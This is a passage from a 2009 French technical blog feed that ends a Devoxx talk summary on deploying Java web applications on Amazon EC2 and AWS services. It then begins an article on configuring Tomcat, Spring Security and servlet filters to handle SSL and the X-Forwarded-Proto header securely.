href="http://en.wikipedia.org/wiki/Elastic_Load_Balancing" title="Elastic Load Balancing" >Elastic Load Balancing</a>. Ce répartiteur ne propose malheureusement pas d&#8217;affinité de session. Si une telle fonctionnalité est nécessaire pour le bon fonctionnement de l&#8217;application, il sera nécessaire d&#8217;avoir des serveurs Apache sur EC2 configurés avec mod_proxy en mode <em>balancer</em>. Ces serveurs seront alors accédés par Elastic Load Balancer.</p><p>Si l&#8217;on souhaite augmenter ou diminuer dynamiquement le nombre d&#8217;instances Tomcat utilisées, il est nécessaire de mettre à jour le <em>balancer</em> en amont pour le prévenir de ce changement de topologie. Une telle synergie existe nativement entre EC2 et Elastic Load Balancing, malheureusement ce n&#8217;est pas encore le cas avec Apache (le récent <a
href="http://www.jboss.org/mod_cluster/" title="JBoss mod_cluster" >JBoss mod_cluster</a> et les prochaines versions de <a
href="http://httpd.apache.org/docs/2.2/mod/mod_proxy_balancer.html" title="modproxybalancer" >mod_proxy_balancer</a> améliorent la situation).</p><h4><a
name="Tomcat"></a>Tomcat</h4><p>La couche applicative est susceptible de rencontrer des problèmes de compatibilité avec EC2. En effet la topologie réseau particulière d&#8217;EC2 rend le <em>multicast</em> impossible. Par conséquent, l&#8217;ensemble des <em>frameworks</em> utilisant le <em>multicast</em> pour découvrir leurs voisins ne pourront fonctionner.</p><p>Cette limitation peut être contournée, mais nécessite des développements dédiés. Il s&#8217;agit de mettre en place un registre en se basant sur les services d&#8217;AWS pour découvrir les instances démarrées ou en utilisant <a
href="http://jgroups.org/manual/html/user-advanced.html#d0e2240" title="JGroups over TCP" >JGroups <em>over</em> TCP</a>.</p><p>Le <em>provisioning</em> dynamique des instances EC2 dédiées aux serveurs applicatifs peut se faire via le mécanisme <a
href="http://aws.amazon.com/autoscaling/" title="Amazon Auto Scaling" >Amazon Auto Scaling</a> (bêta). Là encore, des limitations doivent être prises en compte :</p><ul><li>Afin de déterminer si le nombre d&#8217;instances doit être augmenté ou réduit, Amazon Auto Scaling repose sur les web services <a
href="http://aws.amazon.com/cloudwatch/" title="Amazon CloudWatch" >Amazon CloudWatch</a> qui retournent des métriques bas niveau sur les instances EC2 (CPU, mémoire, réseau, I/O). Il n&#8217;est pour le moment pas possible de suivre les métriques applicatives via JMX par exemple,</li><li>Les instances doivent être capable de s&#8217;auto-configurer au démarrage pour offrir <em>in fine</em> un service Tomcat fonctionnel,</li><li>Comme noté précédemment, les instances doivent s&#8217;enregistrer elles-même auprès des serveurs Apache.</li></ul><h4><a
name="MySQL"></a>MySQL</h4><p>MySQL peut être déployé sur une instance EC2 sans difficulté. Le stockage peut se faire sur le disque local ou sur <a
href="http://aws.amazon.com/ebs/" title="Amazon Elastic Block Storage" >Amazon Elastic Block Storage</a> (EBS) selon les besoins en latence ou en fiabilité avec des <em>backups</em> réguliers sur <a
href="http://en.wikipedia.org/wiki/Amazon_S3" title="Amazon Simple Storage Service" >Amazon Simple Storage Service</a>. Toutefois, afin de limiter les tâches d&#8217;administration qui peuvent aller à l&#8217;encontre de la logique d&#8217;externalisation, il est possible d&#8217;utiliser le très récent <a
href="http://aws.amazon.com/rds/" title="Amazon Relational Database Service" >Amazon Relational Database Service</a>.</p><p>Ce service offre un stockage MySQL dont l&#8217;administration est à la charge d&#8217;Amazon. Les bases de données MySQL sont alors stockées sur EBS.</p><h4><a
name="Traitementdebatchs"></a>Traitement de batchs</h4><p>Si l&#8217;application Web déployée sur EC2 doit effectuer beaucoup de traitements lourds, il peut être souhaitable de dédier des instances à cette tâche. Ces <em>workers</em> recevront alors des tâches à traiter via une file <a
href="http://aws.amazon.com/sqs/" title="SQS (Simple Queue Service)" >SQS (Simple Queue Service)</a>.</p><p>Dans le cas où il serait intéressant de faire évoluer le nombre de <em>workers</em> dynamiquement, il est possible de démarrer de nouvelles instances et de les laisser consommer des tâches sur la file d&#8217;attente SQS.</p><p>Chris Richardson donnait ainsi l&#8217;exemple d&#8217;un site gérant des photos et ayant besoin de générer des aperçus après <em>upload</em>. Dans cette situation, il est intéressant d&#8217;adapter le nombre de <em>workers</em> à la charge du moment sujette à de fortes variations au cours de la journée. La figure suivante illustre cette configuration, les données d&#8217;entrée et de sortie du traitement étant ici stockées sur S3 :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2009/11/ec2_3.png" alt=""/></div><h4><a
name="Problmatiquesdescurit"></a>Problématiques de sécurité</h4><p>La sécurité est probablement la principale crainte avec le Cloud Computing. Avec AWS plusieurs solutions existent pour adresser cette problématique :</p><ul><li>Définir des <em>security group</em> réunissant l&#8217;ensemble des instances d&#8217;une même couche ; n&#8217;autoriser les communications qu&#8217;entre les groupes susceptibles de communiquer ensemble ainsi que les communications SSH provenant des équipes d&#8217;administration</li><li>Renforcer au besoin cette stratégie par la mise en place de configurations IPTable locales</li></ul><p>En outre, en raison de l&#8217;échelle mondiale d&#8217;Amazon, une difficulté supplémentaire est qu&#8217;il n&#8217;est pas possible de savoir dans quel pays sont stockées les données, ce qui peut être problématique dans certaines situations.</p><p>Un nouvel élément de l&#8217;offre Amazon pour satisfaire les besoins de sécurité de ses clients est le récent <a
href="http://en.wikipedia.org/wiki/Amazon_Virtual_Private_Cloud" title="Amazon Virtual Private Cloud" >Amazon Virtual Private Cloud</a> qui permet de connecter des serveurs Amazon EC2 directement au réseau privé d&#8217;une entreprise grâce à un VPN plutôt que de les connecter à l&#8217;Internet. On obtient alors une topologie similaire aux Wide Area Networks qui relient les différents continents dans les systèmes d&#8217;information des grandes multi-nationales.</p><p>Enfin, il est bon de noter qu&#8217;Amazon garantit que l&#8217;ensemble des données stockées sur les disques locaux seront effacées avant la ré-attribution de l&#8217;instance à un autre utilisateur.</p><h3><a
name="IntgrationdesAmazonWebServices"></a>Intégration des Amazon Web Services aux applications</h3><p>Jusqu&#8217;ici il était question d&#8217;adapter EC2 aux principes d&#8217;architectures classiques. Chris Richardson insiste ensuite sur la possibilité de tirer parti des services proposés nativement par la plate-forme Amazon Web Services.</p><h4><a
name="StockagedefichiersavecS"></a>Stockage de fichiers avec S3</h4><p>Les instances EC2 disposent toutes d&#8217;un stockage local. Toutefois, ce stockage est éphémère par nature puisqu&#8217;il est perdu dès que l&#8217;instance est éteinte (suite à une opération volontaire, ou à une défaillance matérielle).</p><p><a
href="http://en.wikipedia.org/wiki/Amazon_S3" title="Simple Storage Service" >Simple Storage Service</a> (S3) fournit un service de stockage à distance dont la fiabilité est assurée par Amazon. Les opérations de création, lecture, écriture, et suppression se font par une API REST.</p><p>Dans ce contexte, les applications déployées sur Amazon EC2 ont intérêt à utiliser directement ces possibilités plutôt que de continuer à s&#8217;appuyer sur le stockage local en tablant sur sa fiabilité ou en laissant un script tiers assurer le <em>backup</em> régulier sur S3. On notera toutefois que S3 ne permet pas de reprendre un <em>upload</em> interrompu ce qui pourra se révéler gênant avec le transfert de gros fichiers.</p><p>L&#8217;API <a
href="https://jets3t.dev.java.net/" title="JetS3t" >JetS3t</a> permet d&#8217;accéder simplement à S3 depuis une application Java.</p><h4><a
name="PersistancededonnesavecSimpleD"></a>Persistance de données avec SimpleDB</h4><p><a
href="http://aws.amazon.com/simpledb/" title="Amazon Simple DB" >Amazon Simple DB</a> est une alternative intéressante au déploiement d&#8217;une base de données relationnelle telle que MySQL. Nous noterons que SimpleDB offre désormais le choix d&#8217;une localisation en Europe.</p><p>Il s&#8217;agit d&#8217;une base de données non relationnelle, sans schéma et adoptant les préceptes du <a
href="http://fr.wikipedia.org/wiki/NoSQL" title="NoSQL" >NoSQL</a>. Ainsi, il n&#8217;est pas possible d&#8217;effectuer des jointures, des transactions, ou de définir des verrous.</p><p>Les applications peuvent s&#8217;y intégrer en utilisant l&#8217;API SOAP ou REST. L&#8217;absence de jointure doit être comblée par une dé-normalisation et une duplication de certains éléments dans le modèle de données. Enfin, de par sa nature, il est préférable de paralléliser les lectures sur SimpleDB, afin de bénéficier d&#8217;une latence améliorée par rapport aux invocations en série.</p><p>Les applications Java peuvent utiliser <a
href="http://code.google.com/p/typica/" title="Typica" >Typica</a> pour accéder à SimpleDB ou encore <a
href="http://code.google.com/p/simplejpa/" title="SimpleJPA" >SimpleJPA</a> qui propose une implémentation JPA pour SimpleDB.</p><h4><a
name="Amliorationdesperformancesavec"></a>Amélioration des performances avec CloudFront</h4><p><a
href="http://en.wikipedia.org/wiki/Amazon_CloudFront" title="CloudFront" >CloudFront</a> est la solution de <a
href="http://en.wikipedia.org/wiki/Content_Delivery_Network" title="Content Delivery Network" >Content Delivery Network</a> (CDN) d&#8217;Amazon. Elle s&#8217;intègre naturellement avec S3 en permettant d&#8217;enregistrer simplement un <em>bucket</em> auprès de CloudFront afin que ce dernier assure la diffusion de son contenu.</p><p>CloudFront dispose de serveurs de proximité aux États-Unis, en Europe et en Asie.</p><h3><a
name="LaquestionduPlatformasaService"></a>La question du Platform as a Service (PaaS)</h3><p>En fin de présentation, Chris Richardson aborde la question du <a
href="http://en.wikipedia.org/wiki/Platform_as_a_service" title="Platform as a Service" >Platform as a Service</a> (PaaS). Google App Engine et Microsoft Azure proposent déjà des solutions intéressantes pour le déploiement d&#8217;application.</p><p>Il remarque par contre que ces systèmes ne sont pas très flexibles et imposent beaucoup de contraintes : limitation à 30 secondes pour une requête chez Google, fonctionnalités limitées rendant de nombreux <em>frameworks</em> incompatibles, &#8230;</p><p>En toute logique, compte tenu de son affinité à CloudFoundry, il suggère alors de le considérer comme une opportunité afin de profiter de la plus grande flexibilité qu&#8217;il offre face à la solution de Google.</p><h3><a
name="Conclusion"></a>Conclusion</h3><p>Chris Richardson nous a présenté ici l&#8217;ensemble des problématiques liées à une utilisation professionnelle et réaliste d&#8217;EC2 et d&#8217;AWS.</p><p>On ne peut que saluer l&#8217;orientation résolument ni commerciale ni élogieuse de son discours permettant de mieux saisir les enjeux d&#8217;EC2 pour l&#8217;entreprise.</p><p>Questionné au sujet des perspectives de résolutions des différents problèmes qu&#8217;il a pu décrire, Chris Richardson nous a fait remarquer que SpringSource était dans une situation confortable pour s&#8217;y attaquer puisqu&#8217;ils comptent dans leurs rangs des commiteurs Apache et Tomcat. Ainsi, on peut se laisser aller à imaginer un ensemble d&#8217;adaptations de mod_proxy ou de Tomcat pour mieux supporter l&#8217;infrastructure dynamique particulière d&#8217;EC2.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/11/18/devoxx-jour-1-applications-robustes-avec-amazon-ec2/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Tomcat, SSL, communications sécurisées et X-Forwarded-Proto</title><link>http://blog.xebia.fr/2009/11/13/tomcat-ssl-communications-securisees-et-x-forwarded-proto/</link> <comments>http://blog.xebia.fr/2009/11/13/tomcat-ssl-communications-securisees-et-x-forwarded-proto/#comments</comments> <pubDate>Fri, 13 Nov 2009 15:19:42 +0000</pubDate> <dc:creator>Cyrille Le Clerc</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Apache]]></category> <category><![CDATA[ssl]]></category> <category><![CDATA[Tomcat]]></category> <category><![CDATA[x-forwarded-for]]></category> <category><![CDATA[x-forwarded-proto]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=3092</guid> <description><![CDATA[Suite à vos retours nombreux, aux différents articles touchant à la sécurisation par SSL de Tomcat en production (Tomcat : Adresse IP de l&#8217;internaute, load balancer, reverse proxy et header HTTP X-Forwarded-For, Sécuriser Tomcat 5 derrière un proxy Apache 2 HTTPS), nous commençons une série sur Tomcat en production. Dans ce premier article, nous abordons [...]]]></description> <content:encoded><![CDATA[<p>Suite à vos retours nombreux, aux différents articles touchant à la sécurisation par SSL de Tomcat en production (<a
href="http://blog.xebia.fr/2009/05/05/tomcat-adresse-ip-de-linternaute-load-balancer-reverse-proxy-et-header-http-x-forwarded-for/" title="Tomcat : Adresse IP de l'internaute, load balancer, reverse proxy et header HTTP X-Forwarded-For" >Tomcat : Adresse IP de l&#8217;internaute, load balancer, reverse proxy et header HTTP X-Forwarded-For</a>, <a
href="http://blog.xebia.fr/2009/09/23/securiser-tomcat-5-derriere-un-proxy-apache-2-https/" title="Scuriser Tomcat 5 derrire un proxy Apache 2 HTTPS" >Sécuriser Tomcat 5 derrière un proxy Apache 2 HTTPS</a>), nous commençons une série sur Tomcat en production.<br
/> Dans ce premier article, nous abordons l&#8217;utilisation de SSL pour sécuriser les communications. Pourquoi utiliser SSL ? Comment SSL est-il intégré avec le moteur de Servlet ? Et surtout quelle configuration correspond à votre application, qu&#8217;elle soit hébergée sur un serveur Tomcat seul, avec un serveur Apache Httpd en frontal, avec un accélérateur SSL ou avec un load-balancer <em>hardware</em>.</p><h3><a
name="PourquoiutilisonsnousSSLQuestc"></a>Pourquoi utilisons nous SSL ? Qu&#8217;est ce qu&#8217;une communication sécurisée ?</h3><p>Il est souvent nécessaire de protéger les accès à différents services d&#8217;une application web. C&#8217;est le cas par exemple des formulaires d&#8217;authentification. Il faut donc sécuriser tout ou partie des services de l&#8217;application. Mais qu&#8217;est-ce qu&#8217;une application sécurisée ? La sécurité informatique repose sur quatre grande règles: confidentialité, intégrité, disponibilité et non répudiation. Si votre application respecte ces 4 règles, alors elle est sécurisée.</p><p>La plupart du temps, SSL est utilisé pour adresser la confidentialité et l&#8217;intégrité des communications web échangées entre le client et le serveur. Schématiquement, SSL encapsule le protocole HTTP dans un canal sécurisé. Le canal utilise un chiffrage fort qui garantie la confidentialité de la communication. Pour garantir que les données ne sont ni modifiées ni rejouées par un tiers, SSL signe et numérote les messages échangés. De plus, SSL supporte l&#8217;utilisation de certificats qui vont permettre de garantir l&#8217;identité des interlocuteurs. S&#8217;il est possible d&#8217;utiliser un certificat client pour authentifier l&#8217;utilisateur, dans la grande majorité des cas, seul le serveur possède son certificat. La mise en place de certificats clients à grande échelle, via une <a
href="http://fr.wikipedia.org/wiki/Infrastructure_de_gestion_des_cles" title="PKI" >PKI</a> par exemple, est un sujet à part entière que nous n&#8217;aborderons pas ici.<br
/> Dans le schéma ci-dessous, les communications provenant d&#8217;Internet sont sécurisées grâce à l&#8217;utilisation de SSL. Les communications provenant des autres serveurs de la &laquo;&nbsp;zone de confiance&nbsp;&raquo; du data center n&#8217;utilisent pas SSL. Certains estiment que cette dispense vient du fait que tous les messages doivent passer en clair dans la zone de confiance pour que les outils de sécurité puissent surveiller tout ce qui transite ; d&#8217;autres avanceront que SSL est inutile car d&#8217;autres techniques de sécurisation sont utilisées (audit de la couche réseau, gestion des permissions sur les serveurs, etc). Quelle que soit la motivation, il est fréquent de ne pas utiliser SSL pour les communications internes ; cela simplifie le tuning et le dimensionnement de nos applications.</p><div
align="center"> <a
href="http://blog.xebia.fr/wp-content/uploads/2009/11/tomcat-secured-communications.png"><img
src="http://blog.xebia.fr/wp-content/uploads/2009/11/tomcat-secured-communications-300x238.png" alt="tomcat-secured-communications" title="tomcat-secured-communications" width="300" height="238" class="alignnone size-medium wp-image-3096" /></a></div><h3><a
name="CommentsavoirenJavasiunerequte"></a>Comment savoir en Java si une requête HTTP est sécurisée ou utilise SSL ?</h3><p>L&#8217;API Servlet offre une méthode générique <strong><a
href="http://java.sun.com/javaee/5/docs/api/javax/servlet/ServletRequest.html#isSecure()" title="<strong>ServletRequest.isSecure()</strong>&nbsp;&raquo; ><strong>ServletRequest.isSecure()</strong></a></strong> qui indique si une requête a emprunté un canal sécurisé. Nous noterons que cette méthode est plus générique que l&#8217;utilisation spécifique de SSL et permet notamment d&#8217;identifier comme <code>secure</code>, bien que non SSL, une requête provenant, par exemple, du même data center. Une autre méthode plus spécifique mais souvent inutile si l&#8217;on repose sur <a
href="http://java.sun.com/javaee/5/docs/api/javax/servlet/ServletRequest.html#isSecure()" title="ServletRequest.isSecure()" >ServletRequest.isSecure()</a> est <a
href="http://java.sun.com/javaee/5/docs/api/javax/servlet/ServletRequest.html#getScheme()" title="ServletRequest.getScheme()" >ServletRequest.getScheme()</a> qui indique le protocole utilisé : <code>http</code>, <code>https</code>, etc</p><h3><a
name="Commentforcerlutilisationdecom"></a>Comment forcer l&#8217;utilisation de communications sécurisées (SSL) en Java</h3><p>Les frameworks web communément utilisés en Java permettent de forcer de façon déclarative l&#8217;utilisation d&#8217;un canal sécurisé (ie. <code>https</code>) pour les requêtes entrantes. Dans les faits, ils interdisent l&#8217;accès à la ressource via un canal non sécurisé en retournant l&#8217;erreur HTTP 403. Ils peuvent aussi forcer la redirection sur HTTPS.</p><h4><a
name="SpringSecurity"></a>Spring Security</h4><p><a
href="http://static.springsource.org/spring-security/site/" title="Spring Security" >Spring Security</a> utilise l&#8217;attribut <code><strong>requires-channel="https"</strong></code> qui est hélas légèrement trompeur puisqu&#8217;il repose sur la méthode <a
href="http://java.sun.com/javaee/5/docs/api/javax/servlet/ServletRequest.html#isSecure()" title="ServletRequest.isSecure()" >ServletRequest.isSecure()</a> plutôt que sur <a
href="http://java.sun.com/javaee/5/docs/api/javax/servlet/ServletRequest.html#getScheme()" title="ServletRequest.getScheme()" >ServletRequest.getScheme()</a> et ne vérifie donc pas l&#8217;utilisation du protocole <code>https</code> mais le fait que la requête est <code>secure</code> pour le moteur de servlet.</p><pre class="brush: xml; title: ; notranslate">
&lt;beans
   xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:sec=&quot;http://www.springframework.org/schema/security&quot;
   xsi:schemaLocation=&quot;
    http://www.springframework.org/schema/security http://www.springframework.org/schema/security/spring-security-2.0.xsd
   &quot;&gt;
   &lt;sec:http auto-config=&quot;true&quot;&gt;
      &lt;sec:intercept-url pattern=&quot;/services/**&quot; requires-channel=&quot;https&quot; access=&quot;IS_AUTHENTICATED_FULLY&quot; /&gt;
   &lt;/sec:http&gt;
&lt;/beans&gt;
</pre><p><em>Configuration Spring Security forçant SSL</em></p><h4><a
name="APIServlet"></a>API Servlet</h4><p>L&#8217;API Servlet offre une approche déclarative similaire dans le fichier <code>web.xml</code> avec l&#8217;instruction <code><strong>&lt;transport-guarantee&gt;CONFIDENTIAL&lt;/transport-guarantee&gt;</strong></code> qui repose elle aussi sur <a
href="http://java.sun.com/javaee/5/docs/api/javax/servlet/ServletRequest.html#isSecure()" title="ServletRequest.isSecure()" >ServletRequest.isSecure()</a>.</p><pre class="brush: xml; title: ; notranslate">
&lt;web-app
   xmlns=&quot;http://java.sun.com/xml/ns/javaee&quot;
   xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;
   xsi:schemaLocation=&quot;http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd&quot;
   version=&quot;2.5&quot;&gt;
   ...
   &lt;security-constraint&gt;
      &lt;web-resource-collection&gt;
         &lt;web-resource-name&gt;restricted web services&lt;/web-resource-name&gt;
         &lt;url-pattern&gt;/services/*&lt;/url-pattern&gt;
      &lt;/web-resource-collection&gt;
      &lt;user-data-constraint&gt;
         &lt;transport-guarantee&gt;CONFIDENTIAL&lt;/transport-guarantee&gt;
      &lt;/user-data-constraint&gt;
   &lt;/security-constraint&gt;
   ...
&lt;/web-app&gt;
</pre><p><em>Configuration web.xml forçant SSL</em></p><h3><a
name="Commenttransmettreaumoteurdese"></a>Comment transmettre au moteur de servlet l&#8217;information qu&#8217;une requête est sécurisée (SSL) ?</h3><p>Puisqu&#8217;il existe deux ports standards respectivement réservés au HTTP et au HTTPS, le standard des serveurs J2EE est d&#8217;utiliser une approche multi-canaux dans laquelle un port est réservé au canal sécurisé via HTTPS et l&#8217;autre non sécurisé via HTTP.<br
/> Avec la généralisation des proxy, des load-balancers et des cartes accélératrices SSL, il est maintenant fréquent que les requêtes HTTPS soient décryptées bien avant les serveurs JavaEE sur lesquels elles arrivent <em>en clair</em>.</p><p>Il existe alors deux approches pour différencier les requêtes HTTP et HTTPS :</p><ul><li>S&#8217;inspirer de la différenciation de ports utilisés par HTTPS et HTTP en faisant emprunter des canaux différents aux requêtes sécurisées et non sécurisées, même après le décryptage des premières.</li><li>S&#8217;inspirer de l&#8217;ajout par les proxys du header <code>X-Forwarded-For</code> pour propager l&#8217;adresse IP de l&#8217;appelant (cf <a
href="http://blog.xebia.fr/2009/05/05/tomcat-adresse-ip-de-linternaute-load-balancer-reverse-proxy-et-header-http-x-forwarded-for/" title="Tomcat  Adresse IP de linternaute load balancer reverse proxy et header Http XForwardedFor" >Tomcat : Adresse IP de l&#8217;internaute, load balancer, reverse proxy et header Http X-Forwarded-For</a>) et introduire un header <code>X-Forwarded-Proto</code> pour indiquer le protocole utilisé.</li></ul><h4><a
name="Configurationmulticanauxutilis"></a>Configuration multi-canaux : utiliser des connecteurs/ports différents</h4><p>L&#8217;approche <em>historique</em> de Tomcat pour différencier les requêtes qui sont entrées en HTTPS de celles qui sont entrées en HTTP est de définir plusieurs connecteurs. Cette approche permet aussi bien de gérer l&#8217;encryption SSL dans Tomcat que, depuis la version 6, de la faire en amont dans le serveur web ou un load balancer hardware par exemple. Dans ce deuxième cas, un connecteur est configuré pour recevoir des communications en HTTP tout en valorisant <code>request.isSecure()</code> à <code>true</code> et <code>request.getScheme()</code> à <code>https</code>.</p><p>Hélas, cette configuration rend la gestion de requêtes sécurisées non SSL (<code>&lt;Connector ... secure="true" scheme="http" /&gt;</code>) très délicate, car la spécification Servlet stipule que le conteneur doit émettre un cookie de session &#8216;secure&#8217; si la requête HTTP à l&#8217;occasion de laquelle la session a été créée est &#8216;request.secure = true&#8217;.<br
/> Le problème vient du fait que des clients HTTP comme <a
href="http://hc.apache.org/httpclient-3.x/index.html" title="Jakarta Commons Http Client" >Jakarta Commons Http Client</a> traitent automatiquement les connections non SSL comme non sécurisées et ne renvoient donc pas le cookie <code>JSESSIONID</code> pour les appels non SSL même si celui ci a été défini comme <code>secure</code> par le conteneur. La définition de requêtes comme sécurisée mais non SSL est alors incompatible avec l&#8217;utilisation de sessions http avec une erreur très difficile à diagnostiquer. Du fait de ce problème, nous ne traiterons pas dans ce billet de la configuration Tomcat multi-canaux pour gérer les requêtes sécurisées qui n&#8217;utilisent pas SSL.</p><p>Exemple de configuration Tomcat multi-connecteurs pour dissocier les requêtes HTTP de requêtes HTTPS :</p><pre class="brush: xml; title: ; notranslate">
&lt;server&gt;
   ...
   &lt;Service name=&quot;Catalina&quot;&gt;
      &lt;!-- Connecteur pour les requêtes non SSL --&gt;
      &lt;Connector ... scheme=&quot;http&quot; /&gt;
      &lt;!-- Connecteur pour les requêtes SSL --&gt;
      &lt;Connector ... secure=&quot;true&quot; scheme=&quot;https&quot; /&gt;
      ...
&lt;/server&gt;
</pre><p><em>Extrait de server.xml utilisant les attributs secure et scheme pour différencier les requêtes SSL</em></p><h4><a
name="Configurationmonocanalavechead"></a>Configuration mono-canal avec header HTTP : utiliser le header X-Forwarded-Proto</h4><p>Une autre approche, disponible dès le prochain Tomcat 6.0.21, est d&#8217;utiliser un header http pour indiquer si le protocole était http ou https. Ce header est communément nommé <code><strong>X-Forwarded-Proto: https|http</strong></code> (Microsoft Internet Security and Acceleration Server utilise <code>Front-End-HTTPS:on|off</code>). Ce header est souvent associé au header <code>X-Forwarded-For</code> déjà utilisé par les load balancers et proxys pour transmettre l&#8217;adresse IP de l&#8217;appelant.</p><p>Pour prévenir tout &#8216;<a
href="http://fr.wikipedia.org/wiki/Usurpation_d%27adresse_IP" title="spoofing" >spoofing</a>&#8216; des requêtes, il faut s&#8217;assurer que les points d&#8217;entrée HTTP/HTTPS de la plate-forme écrasent la valeur de ce header http <code>X-Forwarded-Proto</code> avec le protocole utilisé (<code>http</code> ou <code>https</code>) ; il s&#8217;agit de supprimer les headers nommés <code>X-Forwarded-Proto</code> s&#8217;ils existent et d&#8217;en insérer un nouveau ; omettre l&#8217;étape de suppression des headers <code>X-Forwarded-Proto</code> éventuellement existants serait une faille de sécurité.</p><p><strong>Gestion du header X-Forwarded-Proto avec une valve Tomcat</strong></p><p>La solution la plus simple pour gérer le header X-Forwarded-Proto sur un serveur Tomcat est de déclarer la valve RemoteIpValve dans le serveur Tomcat :</p><ol><li>En attendant Tomcat 6.0.21 qui embarquera la <code>RemoteIpValve</code>, télécharger <a
href="http://xebia-france.googlecode.com/files/xebia-tomcat-extras-1.0.0.jar" title="xebia-tomcat-extras-1.0.0.jar" >xebia-tomcat-extras-1.0.0.jar</a> ou compiler <a
href="http://xebia-france.googlecode.com/svn/tomcat/xebia-tomcat-extras/tags/xebia-tomcat-extras-1.0.0/src/main/java/org/apache/catalina/connector/RemoteIpValve.java" title="RemoteIpValvejava" >RemoteIpValve.java</a> et déployer le jar sous <code>TOMCAT_HOME/lib</code>.</li><li>Déclarer la <code>RemoteIpValve</code> (<a
href="http://code.google.com/p/xebia-france/wiki/RemoteIpValve" title="doc" >doc</a>) dans <code>server.xml</code>. Cette valve doit être déclarée avant les autres valves qui s&#8217;appuient sur le protocole ou l&#8217;adresse IP de l&#8217;internaute. Il est possible de déclarer aussi la <code>SecuredRemoteAddressValve</code> (<a
href="http://code.google.com/p/xebia-france/wiki/SecuredRemoteAddressValve" title="doc" >doc</a>, également incluse dans xebia-tomcat-extras-1.0.0.jar) pour bénéficier du mécanisme de requête sécurisée non SSL :</li></ol><pre class="brush: xml; title: ; notranslate">
&lt;Server ...&gt;
   ...
   &lt;Service name=&quot;Catalina&quot;&gt;
      &lt;Connector ... /&gt;
      &lt;Engine ...&gt;
         &lt;!-- Process x-Forwarded-For to get remote address and X-Forwarded-Proto to identify SSL requests --&gt;
         &lt;Valve className=&quot;org.apache.catalina.connector.RemoteIpValve&quot; protocolHeader=&quot;X-Forwarded-Proto&quot; /&gt;
         &lt;!-- Flag as secure all requests coming from private network IP address blocks. Must be declared after RemoteIpValve --&gt;
         &lt;Valve className=&quot;org.apache.catalina.connector.SecuredRemoteAddressValve&quot; /&gt;
         &lt;!-- AccessLogValve must be declared after RemoteIpValve to get the remote address and the scheme https/http --&gt;
         &lt;Valve className=&quot;org.apache.catalina.valves.AccessLogValve&quot; directory=&quot;logs&quot; pattern=&quot;common&quot; prefix=&quot;access_log.&quot;
            resolveHosts=&quot;false&quot; suffix=&quot;.txt&quot; /&gt;
         ...
         &lt;/Host&gt;
      &lt;/Engine&gt;
   &lt;/Service&gt;
&lt;/Server&gt;
</pre><p><em>Gestion de SSL et des communications sécurisées avec des valves Tomcat</em></p><p><strong>Gestion du header X-Forwarded-Proto avec un filtre Servlet API</strong></p><p>Si vous ne pouvez pas changer la configuration Tomcat ou si vous utilisez un autre moteur de servlet (Glassfish, Websphere, Weblogic, etc), il est possible de gérer le header X-Forwarded-For grâce à un Servlet Filter de l&#8217;application web :</p><ol><li>Télécharger <a
href="http://xebia-france.googlecode.com/files/xebia-servlet-extras-1.0.2.jar" title="xebia-servlet-extras-1.0.2.jar" >xebia-servlet-extras-1.0.2.jar</a>, compiler <a
href="http://xebia-france.googlecode.com/svn/web/xebia-servlet-extras/tags/xebia-servlet-extras-1.0.2/src/main/java/fr/xebia/servlet/filter/XForwardedFilter.java" title="XForwardedFilter.java" >XForwardedFilter.java</a> ou ajouter la dépendance maven <code>fr.xebia.web.extras:xebia-servlet-extras:1.0.2</code> à votre <code>pom.xml</code> (<a
href="http://code.google.com/p/xebia-france/wiki/XForwardedFilter" title="doc" >doc</a>).</li><li>Déclarer <code>XForwardedFilter</code> (<a
href="http://code.google.com/p/xebia-france/wiki/XForwardedFilter" title="doc" >doc</a>) dans <code>web.xml</code> Cet filtre doit être déclaré avant les autres filtres qui s&#8217;appuient sur le protocole ou l&#8217;adresse IP de l&#8217;internaute. Il est possible de déclarer aussi le <code>SecuredRemoteAddressFilter</code> (<a
href="http://code.google.com/p/xebia-france/wiki/SecuredRemoteAddressFilter" title="doc" >doc</a>, intégré dans xebia-servlet-extras-1.0.2.jar) pour gérer les requêtes sécurisées non SSL :</li></ol><pre class="brush: xml; title: ; notranslate">
&lt;web-app ...&gt;
   ...
   &lt;filter&gt;
      &lt;filter-name&gt;XForwardedFilter&lt;/filter-name&gt;
      &lt;description&gt;Process x-Forwarded-For to get remote address and X-Forwarded-Proto to identify SSL requests&lt;/description&gt;
      &lt;filter-class&gt;fr.xebia.servlet.filter.XForwardedFilter&lt;/filter-class&gt;
      &lt;init-param&gt;
         &lt;param-name&gt;protocolHeader&lt;/param-name&gt;
         &lt;param-value&gt;x-forwarded-proto&lt;/param-value&gt;
      &lt;/init-param&gt;
   &lt;/filter&gt;
   &lt;filter&gt;
      &lt;filter-name&gt;SecuredRemoteAddressFilter&lt;/filter-name&gt;
      &lt;description&gt;Flag as secure all requests coming from private network IP address blocks.
Must be declared after XForwardedFilter&lt;/description&gt;
      &lt;filter-class&gt;fr.xebia.servlet.filter.SecuredRemoteAddressFilter&lt;/filter-class&gt;
   &lt;/filter&gt;
   &lt;filter-mapping&gt;
      &lt;filter-name&gt;XForwardedFilter&lt;/filter-name&gt;
      &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
      &lt;dispatcher&gt;REQUEST&lt;/dispatcher&gt;
   &lt;/filter-mapping&gt;
   &lt;filter-mapping&gt;
      &lt;filter-name&gt;SecuredRemoteAddressFilter&lt;/filter-name&gt;
      &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
      &lt;dispatcher&gt;REQUEST&lt;/dispatcher&gt;
   &lt;/filter-mapping&gt;
   ...
&lt;/web-app&gt;
</pre><p><em>Gestion de SSL et des communications sécurisées avec des Servlet Filters</em></p><h3><a
name="Miseenoeuvremulticanauxetheade"></a>Mise en oeuvre multi-canaux et header X-Forwarded-Proto suivant les topologies Tomcat</h3><h4><a
